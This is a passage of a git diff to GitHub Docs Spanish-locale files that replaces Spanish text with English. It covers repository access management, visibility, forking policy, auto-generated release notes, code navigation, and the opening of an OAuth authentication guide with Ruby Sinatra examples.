b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md @@ -1,6 +1,6 @@ --- -title: Gestionar equipos y personas con acceso a tu repositorio -intro: Puedes ver a todo aquél que ha accedido a tu repositorio y ajustar los permisos. +title: Managing teams and people with access to your repository +intro: You can see everyone who has access to your repository and adjust permissions. permissions: People with admin access to a repository can manage teams and people with access to a repository. redirect_from: - /github/administering-a-repository/managing-people-and-teams-with-access-to-your-repository @@ -11,50 +11,55 @@ versions: ghec: '*' topics: - Repositories -shortTitle: Equipos & personas +shortTitle: Teams & people --- ## About access management for repositories -Puedes ver un resumen de cada equipo o persona con acceso a tu repositorio para todo aquél que administres en {% data variables.product.prodname_dotcom %}. From the overview, you can also invite new teams or people, change each team or person's role for the repository, or remove access to the repository. +For each repository that you administer on {% data variables.product.prodname_dotcom %}, you can see an overview of every team or person with access to the repository. From the overview, you can also invite new teams or people, change each team or person's role for the repository, or remove access to the repository. -Este resumen puede ayudarte a auditar el acceso a tu repositorio, incorporar o retirar personal externo o empleados, y responder con efectividad a los incidentes de seguridad. +This overview can help you audit access to your repository, onboard or off-board contractors or employees, and effectively respond to security incidents. For more information about repository roles, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -![Resumen de gestión de accesos](/assets/images/help/repository/manage-access-overview.png) +![Access management overview](/assets/images/help/repository/manage-access-overview.png) -## Filtrar la lista de equipos y personas +## Filtering the list of teams and people {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-manage-access %} -4. Debajo de "Administrar acceso" en el campo de búsqueda, comienza a teclear el nombre del equipo o persona que quieres encontrar. ![Campo de búsqueda para filtrar la lista de equipos o personas con acceso](/assets/images/help/repository/manage-access-filter.png) +4. Under "Manage access", in the search field, start typing the name of the team or person you'd like to find. + ![Search field for filtering list of teams or people with access](/assets/images/help/repository/manage-access-filter.png) -## Cambiar permisos para un equipo o persona +## Changing permissions for a team or person {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-manage-access %} -4. Under "Manage access", find the team or person whose role you'd like to change, then select the Role drop-down and click a new role. ![Utilizar el menú desplegable de "Rol" para seleccionar nuevos permisos para un equipo o persona](/assets/images/help/repository/manage-access-role-drop-down.png) +4. Under "Manage access", find the team or person whose role you'd like to change, then select the Role drop-down and click a new role. + ![Using the "Role" drop-down to select new permissions for a team or person](/assets/images/help/repository/manage-access-role-drop-down.png) -## Invitar a un equipo o persona +## Inviting a team or person {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-manage-access %} {% data reusables.organizations.invite-teams-or-people %} -5. En el campo de búsqueda, comienza a teclear el nombre del equipo o persona que quieres invitar y da clic en el mismo dentro de la lista de coincidencias. ![Campo de búsqueda para teclear el nombre del equipo o persona que deseas invitar al repositorio](/assets/images/help/repository/manage-access-invite-search-field.png) -6. Under "Choose a role", select the repository role to grant to the team or person, then click **Add NAME to REPOSITORY**. ![Seleccionar los permisos para el equipo o persona](/assets/images/help/repository/manage-access-invite-choose-role-add.png) +5. In the search field, start typing the name of the team or person to invite, then click a name in the list of matches. + ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png) +6. Under "Choose a role", select the repository role to grant to the team or person, then click **Add NAME to REPOSITORY**. + ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png) -## Eliminar el acceso de un equipo o persona +## Removing access for a team or person {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-manage-access %} -4. Debajo de "Administrar acceso", encuentra al equipo o persona de quien quieras eliminar el acceso y da clic{% octicon "trash" aria-label="The trash icon" %}. ![icono de cesto de basura para eliminar el acceso](/assets/images/help/repository/manage-access-remove.png) +4. Under "Manage access", find the team or person whose access you'd like to remove, then click {% octicon "trash" aria-label="The trash icon" %}. + ![trash icon for removing access](/assets/images/help/repository/manage-access-remove.png) -## Leer más +## Further reading -- "[Configurar la visibilidad de un repositorio](/github/administering-a-repository/setting-repository-visibility)" -- "[Configurar los permisos básicos para una organización](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization)" +- "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)" +- "[Setting base permissions for an organization](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization)" diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md index cc124d180d..b5692be81c 100644 --- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md +++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md @@ -1,6 +1,6 @@ --- title: Managing the forking policy for your repository -intro: 'You can allow or prevent the forking of a specific private{% ifversion fpt or ghae or ghes or ghec %} or internal{% endif %} repository owned by an organization.' +intro: 'You can allow or prevent the forking of a specific private{% ifversion ghae or ghes or ghec %} or internal{% endif %} repository owned by an organization.' redirect_from: - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization @@ -16,9 +16,7 @@ topics: - Repositories shortTitle: Manage the forking policy --- -An organization owner must allow forks of private{% ifversion fpt or ghae or ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)." - -{% data reusables.organizations.internal-repos-enterprise %} +An organization owner must allow forks of private{% ifversion ghae or ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md index d9b908a097..1841cf3ab9 100644 --- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md +++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md @@ -21,9 +21,9 @@ shortTitle: Repository visibility Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." -{% ifversion fpt or ghec %} +{% ifversion ghec %} -If you're a member of an {% data variables.product.prodname_emu_enterprise %}, your repositories owned by your user account can only be private, and repositories in your enterprise's organizations can only be private or internal. +Members of an {% data variables.product.prodname_emu_enterprise %} can only set the visibility of repositories owned by their user account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." {% endif %} @@ -46,22 +46,27 @@ We recommend reviewing the following caveats before you change the visibility of ### Making a repository private {% ifversion fpt or ghes or ghec %} * {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %} -* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"{% ifversion fpt %} -* If you're using {% data variables.product.prodname_free_user %} for user accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}{% ifversion fpt or ghec %} -* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." -* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats. {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion ghes %} -* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."{% endif %} +{%- ifversion ghes or ghec or ghae %} +* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" +{%- endif %} -{% ifversion fpt or ghae or ghes or ghec %} +{%- ifversion fpt %} +* If you're using {% data variables.product.prodname_free_user %} for user accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." +{%- endif %} + +{%- ifversion fpt or ghec %} +* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." +* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats. {% data reusables.advanced-security.more-info-ghas %} +{%- endif %} + +{%- ifversion ghes %} +* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +{%- endif %} + +{% ifversion ghes or ghec or ghae %} ### Making a repository internal -{% note %} - -**Note:** {% data reusables.gated-features.internal-repos %} - -{% endnote %} - * Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" {% endif %} diff --git a/translations/es-ES/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md b/translations/es-ES/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md index f1f92e837f..64552f13ed 100644 --- a/translations/es-ES/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md +++ b/translations/es-ES/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md @@ -1,61 +1,79 @@ --- -title: Notas de lanzamiento generadas automáticamente -intro: Puedes generar notas de lanzamiento automáticamente para tus lanzamientos de GitHub +title: Automatically generated release notes +intro: You can automatically generate release notes for your GitHub releases permissions: Repository collaborators and people with write access to a repository can generate and customize automated release notes for a release. versions: fpt: '*' ghec: '*' topics: - Repositories -shortTitle: Notas de lanzamiento automatizadas +shortTitle: Automated release notes communityRedirect: name: Provide GitHub Feedback href: 'https://github.com/github/feedback/discussions/categories/releases-feedback' --- -## Acerca de las notas de lanzamiento generadas automáticamente +## About automatically generated release notes -Las notas de lanzamiento generadas automáticamente proporcionan una alternativa de automatización para escribir notas de lanzamiento manualmente para tus lanzamientos de {% data variables.product.prodname_dotcom %}. Con las notas de lanzamiento generadas automáticamente, puedes generar rápidamente un resumen del contenido de un lanzamiento. También puedes personalizar tus notas de lanzamiento automatizadas, utilizando etiquetas para crear categorías personalizadas para organizar las solicitudes de cambio que quieras incluir y excluyendo ciertas etiquetas y usuarios para que no aparezcan en la salida. +Automatically generated release notes provide an automated alternative to manually writing release notes for your {% data variables.product.prodname_dotcom %} releases. With automatically generated release notes, you can quickly generate an overview of the contents of a release. You can also customize your automated release notes, using labels to create custom categories to organize pull requests you want to include, and exclude certain labels and users from appearing in the output. -## Crear notas de lanzamiento generadas automáticamente para un lanzamiento nuevo +## Creating automatically generated release notes for a new release {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %} -3. Haz clic en **Borrador de un nuevo lanzamiento**. ![Botón Borrador de lanzamientos](/assets/images/help/releases/draft_release_button.png) -4. {% ifversion fpt or ghec %}Haz clic en **Elige una etiqueta** y teclea {% else %}Teclea{% endif %} un número de versión para tu lanzamiento. Como alternativa, selecciona una etiqueta existente. +3. Click **Draft a new release**. + ![Releases draft button](/assets/images/help/releases/draft_release_button.png) +4. {% ifversion fpt or ghec %}Click **Choose a tag** and type{% else %}Type{% endif %} a version number for your release. Alternatively, select an existing tag. {% ifversion fpt or ghec %} - ![Ingresa una etiqueta](/assets/images/help/releases/releases-tag-create.png) -5. Si estás creando una etiqueta nueva, haz clic en **Crear etiqueta nueva**. ![Confirma si quieres crear una etiqueta nueva](/assets/images/help/releases/releases-tag-create-confirm.png) + ![Enter a tag](/assets/images/help/releases/releases-tag-create.png) +5. If you are creating a new tag, click **Create new tag**. +![Confirm you want to create a new tag](/assets/images/help/releases/releases-tag-create-confirm.png) {% else %} - ![Versión de lanzamientos con etiquetas](/assets/images/enterprise/releases/releases-tag-version.png) + ![Releases tagged version](/assets/images/enterprise/releases/releases-tag-version.png) {% endif %} -6. Si creaste una etiqueta nueva, utiliza el menú desplegable para seleccionar la rama que contiene el proyecto que quieres lanzar. - {% ifversion fpt or ghec %}![Elige una rama](/assets/images/help/releases/releases-choose-branch.png) - {% else %}![Rama de lanzamientos con etiquetas](/assets/images/enterprise/releases/releases-tag-branch.png) +6. If you have created a new tag, use the drop-down menu to select the branch that contains the project you want to release. + {% ifversion fpt or ghec %}![Choose a branch](/assets/images/help/releases/releases-choose-branch.png) + {% else %}![Releases tagged branch](/assets/images/enterprise/releases/releases-tag-branch.png) {% endif %} -7. En la caja de texto de descripción que se encuentra en la esquina superior derecha, haz clic en **Autogenerar notas de lanzamiento**. ![Autogenerar notas de lanzamiento](/assets/images/help/releases/auto-generate-release-notes.png) -8. Verifica las notas generadas para garantizar que incluyan toda (y únicamente) la información que quieras incluir. -9. Opcionalmente, para incluir los archivos binarios tales como programas compilados en tu lanzamiento, arrastra y suelta o selecciona manualmente los archivos en la caja de binarios. ![Proporcionar un DMG con el lanzamiento](/assets/images/help/releases/releases_adding_binary.gif) -10. Para notificar a los usuarios que el lanzamiento no está listo para producción y puede ser inestable, selecciona **Esto es un pre-lanzamiento**. ![Casilla de verificación para marcar un lanzamiento como prelanzamiento](/assets/images/help/releases/prerelease_checkbox.png) +7. To the top right of the description text box, click **Auto-generate release notes**. + ![Auto-generate release notes](/assets/images/help/releases/auto-generate-release-notes.png) +8. Check the generated notes to ensure they include all (and only) the information you want to include. +9. Optionally, to include binary files such as compiled programs in your release, drag and drop or manually select files in the binaries box. + ![Providing a DMG with the Release](/assets/images/help/releases/releases_adding_binary.gif) +10. To notify users that the release is not ready for production and may be unstable, select **This is a pre-release**. + ![Checkbox to mark a release as prerelease](/assets/images/help/releases/prerelease_checkbox.png) {%- ifversion fpt %} -11. Opcionalmente, selecciona **Crear un debate para este lanzamiento** y luego, selecciona el menú desplegable de **Categoría** y haz clic en aquella que describa el debate de dicho lanzamiento. ![Casilla de verificación para crear un debate de lanzamiento y menú desplegable para elegir una categoría](/assets/images/help/releases/create-release-discussion.png) +11. Optionally, select **Create a discussion for this release**, then select the **Category** drop-down menu and click a category for the release discussion. + ![Checkbox to create a release discussion and drop-down menu to choose a category](/assets/images/help/releases/create-release-discussion.png) {%- endif %} -12. Si estás listo para publicitar tu lanzamiento, haz clic en **Publicar lanzamiento**. Para seguir trabajando luego en el lanzamiento, haz clic en **Guardar borrador**. ![Botones Publicar lanzamiento y Borrador de lanzamiento](/assets/images/help/releases/release_buttons.png) +12. If you're ready to publicize your release, click **Publish release**. To work on the release later, click **Save draft**. + ![Publish release and Draft release buttons](/assets/images/help/releases/release_buttons.png) -## Crear una plantilla para las notas de lanzamiento generadas automáticamente +## Configuring automatically generated release notes {% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} -3. En el campo de nombre de archivo, teclea `.github/release.yml` para crear el archivo `release.yml` en el directorio `.github`. ![Crear archivo nuevo](/assets/images/help/releases/release-yml.png) -4. En el archivo, especifica las etiquetas y los autores de la solicitud de cambios a los cuales quieras excluir de este lanzamiento. También puedes crear categorías nuevas y listar las etiquetas de la solicitud de cambios que se deben incluir en cada una de ellas. Para obtener más información, consulta la sección "[Administrar etiquetas](/issues/using-labels-and-milestones-to-track-work/managing-labels)". +3. In the file name field, type `.github/release.yml` to create the `release.yml` file in the `.github` directory. + ![Create new file](/assets/images/help/releases/release-yml.png) +4. In the file, using the configuration options below, specify in YAML the pull request labels and authors you want to exclude from this release. You can also create new categories and list the pull request labels to be included in each of them. -## Ejemplo de configuración +### Configuration options + +| Parameter | Description | +| :- | :- | +| `changelog.exclude.labels` | A list of labels that exclude a pull request from appearing in release notes. | +| `changelog.exclude.authors` | A list of user or bot login handles whose pull requests are to be excluded from release notes. | +| `changelog.categories[*].title` | **Required.** The title of a category of changes in release notes. | +| `changelog.categories[*].labels`| **Required.** Labels that qualify a pull request for this category. Use `*` as a catch-all for pull requests that didn't match any of the previous categories. | +| `changelog.categories[*].exclude.labels` | A list of labels that exclude a pull request from appearing in this category. | +| `changelog.categories[*].exclude.authors` | A list of user or bot login handles whose pull requests are to be excluded from this category. | + +### Example configuration {% raw %} -**release.yml** ```yaml{:copy} -# release.yml +# .github/release.yml changelog: exclude: @@ -78,14 +96,6 @@ changelog: ``` {% endraw %} -## Sintaxis de las plantillas de lanzamiento +## Further reading -| Parámetro | Descripción | Requerido | Valor | -|:------------ |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:------------------------------------------------------------------------------------------------- |:----------------------------------------------------------------------------------------------- | -| `changelog` | Define el contenido dentro de esta como la plantilla personalizada para tus notas de lanzamiento. | Requerido. | No se aceptó ningún valor. | -| `exclude` | Crea una categoría de solicitudes de cambio a excluirse del lanzamiento. Puede configurarse en el nivel superior de la bitácora de cambios a aplicar a todas las categorías o a la que se aplicó por categoría. | Opcional | No se aceptó ningún valor. | -| `authors` | Especifica los autores que se deben excluir del lanzamiento. | Opcional para la categoría `exclude`. | Acepta los nombres de usuario y bots como valores. | -| `categories` | Define el contenido anidado como categorías personalizadas para que se incluya en la plantilla. | Opcional | No se aceptó ningún valor. | -| `title` | Crea una categoría ndividual. | Se requiere si existe el parámetro `categories`. | Toma el nombre de la categoría como su valor. | -| `labels` | Especifica las etiquetas que utilizará la categoría envolvente. | Se requiere si existe el parámetro `categories`, el cual es opcional para el parámetro `exclude`. | Acepta cualquier etiqueta, ya sea que existan actualmente o que estén planeadas para el futuro. | -| `"*"` | Catchall para cualquier solicitud de cambios que no se incluya dentro de alguna de las categorías *anteriores*. Si se utiliza, se debe agregar al final del archivo. | Opcional | No se aceptó ningún valor. | +- "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)" \ No newline at end of file diff --git a/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md b/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md index 7694826792..7e4246ba15 100644 --- a/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md +++ b/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md @@ -1,6 +1,6 @@ --- -title: Código de navegación en GitHub -intro: 'Puedes comprender las relaciones dentro y a través de los repositorios al navegar directamente por código en {% data variables.product.product_name %}.' +title: Navigating code on GitHub +intro: 'You can understand the relationships within and across repositories by navigating code directly in {% data variables.product.product_name %}.' redirect_from: - /articles/navigating-code-on-github - /github/managing-files-in-a-repository/navigating-code-on-github @@ -11,12 +11,11 @@ versions: topics: - Repositories --- - -## Acerca de la navegación de código en {% data variables.product.prodname_dotcom %} +## About navigating code on {% data variables.product.prodname_dotcom %} -La navegación de código utiliza la biblioteca de código abierto [`tree-sitter`](https://github.com/tree-sitter/tree-sitter). Los siguientes idiomas son compatibles: +Code navigation uses the open source library [`tree-sitter`](https://github.com/tree-sitter/tree-sitter). The following languages are supported: - C# - CodeQL - Go @@ -27,17 +26,17 @@ La navegación de código utiliza la biblioteca de código abierto [`tree-sitter - Ruby - TypeScript -## Saltar a la definición de una función o método +## Jumping to the definition of a function or method -Puedes saltar a una definición de función o de método dentro del mismo repositorio si das clic en la llamada a dicha función o método dentro de un archivo. +You can jump to a function or method's definition within the same repository by clicking the function or method call in a file. -![Pestaña Jump-to-definition](/assets/images/help/repository/jump-to-definition-tab.png) +![Jump-to-definition tab](/assets/images/help/repository/jump-to-definition-tab.png) -## Buscar todas las referencias de una función o método +## Finding all references of a function or method -Puedes encontrar todas las referencias para una función o método dentro del mismo repositorio si das clic en el llamado a dicha función o método en un archivo y posteriormente das clic en la pestaña de **Referencias**. +You can find all references for a function or method within the same repository by clicking the function or method call in a file, then clicking the **References** tab. -![Pestaña Find all references (Buscar todas las referencias)](/assets/images/help/repository/find-all-references-tab.png) +![Find all references tab](/assets/images/help/repository/find-all-references-tab.png) ## Troubleshooting code navigation @@ -45,5 +44,5 @@ If code navigation is enabled for you but you don't see links to the definitions - Code navigation only works for active branches. Push to the branch and try again. - Code navigation only works for repositories with less than 100,000 files. -## Leer más -- "[Buscar código](/github/searching-for-information-on-github/searching-code)" +## Further reading +- "[Searching code](/github/searching-for-information-on-github/searching-code)" diff --git a/translations/es-ES/content/rest/guides/basics-of-authentication.md b/translations/es-ES/content/rest/guides/basics-of-authentication.md index 05e3caade4..6c2ccf70a5 100644 --- a/translations/es-ES/content/rest/guides/basics-of-authentication.md +++ b/translations/es-ES/content/rest/guides/basics-of-authentication.md @@ -1,6 +1,6 @@ --- -title: Información básica sobre la autenticación -intro: Aprende acerca de las formas diferentes de autenticarse con algunos ejemplos. +title: Basics of authentication +intro: Learn about the different ways to authenticate with some examples. redirect_from: - /guides/basics-of-authentication - /v3/guides/basics-of-authentication @@ -15,27 +15,36 @@ topics: --- -En esta sección, vamos a enfocarnos en lo básico de la autenticación. Específicamente, vamos a crear un servidor en Ruby (utilizando [Sintatra][Sinatra]) que implemente el [flujo web][webflow] de una aplicación en varias formas diferentes. +In this section, we're going to focus on the basics of authentication. Specifically, +we're going to create a Ruby server (using [Sinatra][Sinatra]) that implements +the [web flow][webflow] of an application in several different ways. {% tip %} -Puedes descargar todo el código fuente de este proyecto [del repo platform-samples](https://github.com/github/platform-samples/tree/master/api/). +You can download the complete source code for this project [from the platform-samples repo](https://github.com/github/platform-samples/tree/master/api/). {% endtip %} -## Registrar tu app +## Registering your app -Primero, necesitas [registrar tu aplicación][new oauth app]. A cada aplicación de OAuth que se registra se le asigna una ID de Cliente única y un Secreto de Cliente. ¡El Secreto de Cliente no puede compartirse! Eso incluye el verificar la secuencia en tu repositorio. +First, you'll need to [register your application][new oauth app]. Every +registered OAuth application is assigned a unique Client ID and Client Secret. +The Client Secret should not be shared! That includes checking the string +into your repository. -Puedes llenar toda la información como más te guste, con excepción de la **URL de rellamado para la autorización**. Esta es fácilmente la parte más importante para configurar tu aplicación. Es la URL de rellamado a la cual {% data variables.product.product_name %} devuelve al usuario después de una autenticación exitosa. +You can fill out every piece of information however you like, except the +**Authorization callback URL**. This is easily the most important piece to setting +up your application. It's the callback URL that {% data variables.product.product_name %} returns the user to after +successful authentication. -Ya que estamos ejecutando un servidor común de Sinatra, la ubicación de la instancia local se configura como `http://localhost:4567`. Vamos a llenar la URL de rellamado como `http://localhost:4567/callback`. +Since we're running a regular Sinatra server, the location of the local instance +is set to `http://localhost:4567`. Let's fill in the callback URL as `http://localhost:4567/callback`. -## Aceptar la autorización del usuario +## Accepting user authorization {% data reusables.apps.deprecating_auth_with_query_parameters %} -Ahora, vamos a comenzar a llenar nuestro servidor común. Crea un archivo que se llame _server.rb_ y pégale esto: +Now, let's start filling out our simple server. Create a file called _server.rb_ and paste this into it: ``` ruby require 'sinatra' @@ -50,12 +59,12 @@ get '/' do end ``` -Tu ID de cliente y tus llaves secretas de cliente vienen de [la página de configuración de tu aplicación][app settings]. -{% ifversion fpt or ghec %} You should **never, _ever_** store these values in -{% data variables.product.product_name %} ni en algún otro lugar público, para el caso.{% endif %} Te recomendamos almacenarlos como -[variables de ambiente][about env vars]--que es exactamente lo que hemos hecho aquí. +Your client ID and client secret keys come from [your application's configuration +page][app settings].{% ifversion fpt or ghec %} You should **never, _ever_** store these values in +{% data variables.product.product_name %}--or any other public place, for that matter.{% endif %} We recommend storing them as +[environment variables][about env vars]--which is exactly what we've done here. -Posteriormente, pega este contenido en _views/index.erb_: +Next, in _views/index.erb_, paste this content: ``` erb @@ -76,19 +85,26 @@ Posteriormente, pega este contenido en _views/index.erb_: ``` -(Si no estás familiarizado con la forma en que funciona Sinatra, te recomendamos [leer la guía de Sinatra][Sinatra guide].) +(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra guide].) -También, ten en cuenta que la URL utiliza el parámetro de consulta `scope` para definir los [alcances][oauth scopes] que solicita la aplicación. Para nuestra aplicación, estamos solicitando el alcance `user:email` para leer las direcciones de correo electrónico privadas. +Also, notice that the URL uses the `scope` query parameter to define the +[scopes][oauth scopes] requested by the application. For our application, we're +requesting `user:email` scope for reading private email addresses. -Navega en tu buscador hacia `http://localhost:4567`. Después de dar clic en el enlace, se te llevará a {% data variables.product.product_name %} y se te mostrará un diálogo que se ve más o menos así: ![Diálogo de OAuth de GitHub](/assets/images/oauth_prompt.png) +Navigate your browser to `http://localhost:4567`. After clicking on the link, you +should be taken to {% data variables.product.product_name %}, and presented with a dialog that looks something like this: +![GitHub's OAuth Prompt](/assets/images/oauth_prompt.png) -Si confías en ti mismo, da clic en **Autorizar App**. ¡Oh-oh! Sinatra te arroja un error `404`. ¡¿Qué pasa?! +If you trust yourself, click **Authorize App**. Wuh-oh! Sinatra spits out a +`404` error. What gives?! -Bueno, ¡¿recuerdas cuando especificamos la URL de rellamado como `callback`? No proporcionamos una ruta para ésta, así que {% data variables.product.product_name %} no sabe dónde dejar al usuario después de autorizar la app. ¡Arreglémoslo ahora! +Well, remember when we specified a Callback URL to be `callback`? We didn't provide +a route for it, so {% data variables.product.product_name %} doesn't know where to drop the user after they authorize +the app. Let's fix that now! -### Proporcionar un rellamado +### Providing a callback -En _server.rb_, agrega una ruta para especificar lo que debe hacer la rellamada: +In _server.rb_, add a route to specify what the callback should do: ``` ruby get '/callback' do @@ -107,13 +123,18 @@ get '/callback' do end ``` -Después de que la app se autentica exitosamente, {% data variables.product.product_name %} proporciona un valor temporal de `code`. Necesitas hacer `POST` para este código en {% data variables.product.product_name %} para intercambiarlo por un `access_token`. Para simplificar nuestras solicitudes HTTP de GET y de POST, utilizamos el [rest-client][REST Client]. Nota que probablemente jamás accedas a la API a través de REST. Para aplicarlo con más seriedad, probablemente debas usar [una biblioteca escrita en tu lenguaje preferido][libraries]. +After a successful app authentication, {% data variables.product.product_name %} provides a temporary `code` value. +You'll need to `POST` this code back to {% data variables.product.product_name %} in exchange for an `access_token`. +To simplify our GET and POST HTTP requests, we're using the [rest-client][REST Client]. +Note that you'll probably never access the API through REST. For a more serious +application, you should probably use [a library written in the language of your choice][libraries]. -### Verificar los alcances otorgados +### Checking granted scopes -Los usuarios pueden editar los alcances que solicitaste cambiando directamente la URL. Esto puee otorgar a tu aplicación menos accesos de los que solicitaste originalmente. Antes de hacer cualquier solicitud con el token, verifica los alcances que el usuario le otorgó a éste. Para obtener más información acerca de los alcances solicitados y otorgados, consulta la sección "[Alcances para las Apps de OAuth](/developers/apps/scopes-for-oauth-apps#requested-scopes-and-granted-scopes)". +Users can edit the scopes you requested by directly changing the URL. This can grant your application less access than you originally asked for. Before making any requests with the token, check the scopes that were granted for the token by the user. For more information about requested and granted scopes, see "[Scopes for OAuth Apps](/developers/apps/scopes-for-oauth-apps#requested-scopes-and-granted-scopes)." -Los alcances que otorgamos se devuelven como parte de la respuesta de intercambiar un token. +The scopes that were granted are returned as a part of the response from +exchanging a token. ``` ruby get '/callback' do @@ -127,17 +148,34 @@ get '/callback' do end ``` -En nuestra aplicación, estamos utilizando `scopes.include?` para verificar si se nos otorgó el alcance de `user:email` que necesitamos para recuperar las direcciones de correo electrónico. Si la aplicación hubiera preguntado por otros alcances, habríamos verificado esas también. +In our application, we're using `scopes.include?` to check if we were granted +the `user:email` scope needed for fetching the authenticated user's private +email addresses. Had the application asked 